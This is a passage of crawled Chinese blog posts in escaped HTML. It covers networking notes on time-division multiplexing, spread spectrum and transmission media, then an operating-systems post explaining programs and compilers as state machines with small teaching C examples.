href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E5%90%8C%E6%AD%A5%E6%97%B6%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Synchronous-Time-Division-Multiplexing\" class=\"headerlink\" title=\"同步时分多路复用(Synchronous Time-Division Multiplexing)\"\u003e\u003c/a\u003e同步时分多路复用(Synchronous Time-Division Multiplexing)\u003c/h4\u003e\u003cp\u003eTDM类似于OS中任务管理的rr策略,将通道切分成多个小片段,按顺序轮流给每一个设备使用。这样,它就将许多低俗通道组合成了一个高速通道。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612154544.png\"/\u003e\u003c/p\u003e\u003cp\u003e首先是同步时分复用。在同步TDM中,  链路速率是数据速率的n倍,并且比单元持续时间短 n 倍(如果没有附加同步位的话)。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意下图的称呼:帧中包含时隙,时隙数量是通道数量\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612154730.png\"/\u003e\u003c/p\u003e\u003cp\u003e例如,将 4个 1kbps的连接一起复用,每个单位为 1位,则复用前,一位的持续时间是$1/1kbps=1ms$,链路速率是通道速率的4倍,也就是$4kbps$。时隙的持续时间是复用前每位持续时间的$1/4$,也就是$250\\mu s$。同时,也可以说位持续时间是数据速率$1/4kbps$的倒数,也就是$250\\mu s$。一帧的持续时间:每帧有四个时隙,所以一帧的持续时间是$250\\mu s$的4倍,也就是$1ms$。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e一帧包含的数据量\u003c/strong\u003e,是由一帧包含的位数量(每个时隙的位长度x通道数量)和额外的同步位决定的(一般是1位)。\u003cbr/\u003e而\u003cstrong\u003e帧速率\u003c/strong\u003e,则是输入链路的数据速率/每个时隙单元的位大小决定的。比如输入是$100kbps$,每个时隙$2$位,那么,疫苗就需要$100k\\div2bit=50k$帧每秒的速率发送来保证链路不堵塞。\u003cbr/\u003e然后是\u003cstrong\u003e数据速率\u003c/strong\u003e。考虑上面两个量的乘积,就是数据速率。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e如果在某一个瞬间,一个线路没有数据流出,则那个位置在对应时隙空出来。这也就是空时隙(Empty slots)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155353.png\"/\u003e\u003c/p\u003e\u003cp\u003e实际中,传入的数据速率可能不同,这时一般采用下面的策略:\u003c/p\u003e\u003cul\u003e\u003cli\u003e多级复用(Multilevel Multiplexing)\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155633.png\"/\u003e\u003c/li\u003e\u003cli\u003e多时隙分配(Multiple-slot Allocation)\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155639.png\"/\u003e\u003c/li\u003e\u003cli\u003e脉冲填充(Pulse Stuffing)\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155645.png\"/\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e一般,为了同步链路两侧信号,会设置帧指示位:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155738.png\"/\u003e\u003c/p\u003e\u003cp\u003e同步TDM复用速率有一套DS标准:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155842.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"统计时分多路复用-Statistical-Time-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%BB%9F%E8%AE%A1%E6%97%B6%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Statistical-Time-Division-Multiplexing\" class=\"headerlink\" title=\"统计时分多路复用(Statistical Time-Division Multiplexing)\"\u003e\u003c/a\u003e统计时分多路复用(Statistical Time-Division Multiplexing)\u003c/h4\u003e\u003cp\u003e上面的同步TDM的一个缺点就是时隙的空缺,这样不能充分利用高速链路的带宽。因此有了第二种统计时分复用的方法:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612160032.png\" alt=\"原理如图,比较简单,就不细说了\"/\u003e\u003c/p\u003e\u003ch3 id=\"扩频\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%89%A9%E9%A2%91\" class=\"headerlink\" title=\"扩频\"\u003e\u003c/a\u003e扩频\u003c/h3\u003e\u003cp\u003e在扩频系统 SS中,也把来自某些源端的信号组合在一起形成一个更宽的带宽,可是目的略有不同。为达到此目的,扩频技术增加了冗余部分,扩展原始信号的频带满足每个站的需要。\u003c/p\u003e\u003ch4 id=\"跳频扩频(Frequency-Hopping-Spread-Spectrum,FHSS)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E8%B7%B3%E9%A2%91%E6%89%A9%E9%A2%91%EF%BC%88Frequency-Hopping-Spread-Spectrum%EF%BC%8CFHSS%EF%BC%89\" class=\"headerlink\" title=\"跳频扩频(Frequency Hopping Spread Spectrum,FHSS)\"\u003e\u003c/a\u003e跳频扩频(Frequency Hopping Spread Spectrum,FHSS)\u003c/h4\u003e\u003cp\u003e如下图,将原始信号“跳跃”式扩展,来达到扩频目的。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612160332.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"直接序列扩频(Direct-Sequence-Spread-Spectrum,DSSS)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%9B%B4%E6%8E%A5%E5%BA%8F%E5%88%97%E6%89%A9%E9%A2%91%EF%BC%88Direct-Sequence-Spread-Spectrum%EF%BC%8CDSSS%EF%BC%89\" class=\"headerlink\" title=\"直接序列扩频(Direct Sequence Spread Spectrum,DSSS)\"\u003e\u003c/a\u003e直接序列扩频(Direct Sequence Spread Spectrum,DSSS)\u003c/h4\u003e\u003ch2 id=\"Chap-7-传输介质\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-7-%E4%BC%A0%E8%BE%93%E4%BB%8B%E8%B4%A8\" class=\"headerlink\" title=\"Chap.7.传输介质\"\u003e\u003c/a\u003eChap.7.传输介质\u003c/h2\u003e\u003cp\u003e非屏蔽双绞线的分类:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612163803.png\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/"},{"title":"什么是程序和编译器","time":"2023-01-27T14:27:42Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e操作系统的本质:一个程序,用于管理硬件资源供其他程序调用\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e那问题就到了程序本身:程序应该如何定义?这引出了程序的状态机模型:\u003c/p\u003e\u003ch2 id=\"状态机\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E7%8A%B6%E6%80%81%E6%9C%BA\" class=\"headerlink\" title=\"状态机\"\u003e\u003c/a\u003e状态机\u003c/h2\u003e\u003cp\u003e这东西我们在数电中接触过,硬件基础就是一堆触发器(RS、JK等)。\u003cstrong\u003e状态\u003c/strong\u003e就是寄存器保存的值,初始状态即寄存器初始值,\u003cstrong\u003e迁移\u003c/strong\u003e就是组合逻辑电路计算寄存器下一周期的值。\u003c/p\u003e\u003cp\u003e下面是一个寄存器的模拟程序。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e REGS_FOREACH(_) _(X) _(Y) \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e RUN_LOGIC X1 = !X \u0026amp;\u0026amp; Y; \\ \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Y1 = !X \u0026amp;\u0026amp; !Y; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e DEFINE(X) static int X, X##1; \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e UPDATE(X) X = X##1; \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e PRINT(X) printf(#X \u003cspan class=\"string\"\u003e\u0026#34; = %d; \u0026#34;\u003c/span\u003e, X); \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e { \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eREGS_FOREACH(DEFINE); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"number\"\u003e1\u003c/span\u003e) { \u003cspan class=\"comment\"\u003e// clock \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eRUN_LOGIC; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eREGS_FOREACH(PRINT); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eREGS_FOREACH(UPDATE); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"程序的定义\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%AE%9A%E4%B9%89\" class=\"headerlink\" title=\"程序的定义\"\u003e\u003c/a\u003e程序的定义\u003c/h2\u003e\u003ch3 id=\"源码视角\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E6%BA%90%E7%A0%81%E8%A7%86%E8%A7%92\" class=\"headerlink\" title=\"源码视角\"\u003e\u003c/a\u003e源码视角\u003c/h3\u003e\u003cp\u003e程序就是状态机。对于C程序而言,它的状态机模型如下:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e状态=栈帧+全局变量\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e初始状态=main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e迁移=执行栈顶的语句并转到下一条指令\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e函数调用=入栈\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e函数返回=出栈\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这定义有很多应用,比如将任何递归程序就地转为非递归。虽然实际上递归就是这么实现的(一层递归建立一层函数栈、跳转地址压栈)。例如,下面就是手写函数栈展开递归:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;assert.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003eint\u003c/span\u003e pc, n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003echar\u003c/span\u003e from, to, via;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} Frame;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e call(...) ({ *(++top) = (Frame) { .pc = 0, __VA_ARGS__ }; })\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e ret()     ({ top--; })\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e goto(loc) ({ f-\u0026gt;pc = (loc) - 1; }\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ehanoi\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003echar\u003c/span\u003e from, \u003cspan class=\"type\"\u003echar\u003c/span\u003e to, \u003cspan class=\"type\"\u003echar\u003c/span\u003e via)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  Frame stk[\u003cspan class=\"number\"\u003e64\u003c/span\u003e], *top = stk - \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  call(n, from, to, via);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (Frame *f; (f = top) \u0026gt;= stk; f-\u0026gt;pc++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e (f-\u0026gt;pc) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e: \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (f-\u0026gt;n == \u003cspan class=\"number\"\u003e1\u003c/span\u003e) { \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c -\u0026gt; %c\\n\u0026#34;\u003c/span\u003e, f-\u0026gt;from, f-\u0026gt;to); \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e(\u003cspan class=\"number\"\u003e4\u003c/span\u003e); } \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e: call(f-\u0026gt;n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e, f-\u0026gt;from, f-\u0026gt;via, f-\u0026gt;to);   \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e2\u003c/span\u003e: call(       \u003cspan class=\"number\"\u003e1\u003c/span\u003e, f-\u0026gt;from, f-\u0026gt;to,  f-\u0026gt;via);  \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e3\u003c/span\u003e: call(f-\u0026gt;n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e, f-\u0026gt;via,  f-\u0026gt;to,  f-\u0026gt;from); \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e4\u003c/span\u003e: ret();                                    \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e: assert(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"二进制视角\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E4%BA%8C%E8%BF%9B%E5%88%B6%E8%A7%86%E8%A7%92\" class=\"headerlink\" title=\"二进制视角\"\u003e\u003c/a\u003e二进制视角\u003c/h3\u003e\u003cp\u003e实际上就是汇编视角。汇编程序分为几个段:数据段、代码段和栈段。加载程序就是加载初始状态,状态转移就是改变寄存器的值,转移方式就是执行指令。\u003c/p\u003e\u003cp\u003e这两个视角都可以用\u003ccode\u003egdb\u003c/code\u003e来查看。\u003c/p\u003e\u003cp\u003e但是,操作系统又不是普通程序。因为操作系统不光处理计算任务,还需要能够暂停、退出程序等等。\u003c/p\u003e\u003cp\u003e在Linux中,有一条叫做\u003ccode\u003esystemcall\u003c/code\u003e(系统调用)的指令。它不负责计算,它把当前进程的状态交给操作系统,也就是允许操作系统任意更改程序。这使得进程可以和操作系统中的其他对象交互。\u003c/p\u003e\u003cp\u003e也就是说,对于程序而言,操作系统就是一个程序。参数就是应用程序本身的状态,输出就是程序要访问的资源。C程序main函数最后的\u003ccode\u003ereturn;\u003c/code\u003e就是这样的,它实质上是借助了\u003ccode\u003esyscall()\u003c/code\u003e,将程序状态变为某特定状态,再交给系统去处理。这就好比准备好要传递的参数,然后去调用函数一样。\u003c/p\u003e\u003cp\u003e回到主题。从二进制/操作系统的视角看来,\u003cstrong\u003e程序是一个不停计算,并会穿插执行systemcall的状态机\u003c/strong\u003e。\u003c/p\u003e\u003ch2 id=\"什么是编译器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E4%BB%80%E4%B9%88%E6%98%AF%E7%BC%96%E8%AF%91%E5%99%A8\" class=\"headerlink\" title=\"什么是编译器\"\u003e\u003c/a\u003e什么是编译器\u003c/h2\u003e\u003cp\u003e编译器将源代码编译为二进制程序。从汇编状态机/C程序状态机的视角来看,实际上就是将后者翻译成了前者。编译(优化)的正确性(Soundness)就是在确保二者的\u003cstrong\u003e可观测行为\u003c/strong\u003e完全一致。\u003c/p\u003e\u003cp\u003e而关于编译器优化,我们可以使用\u003ccode\u003ecompiler barrier\u003c/code\u003e来阻止优化:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan 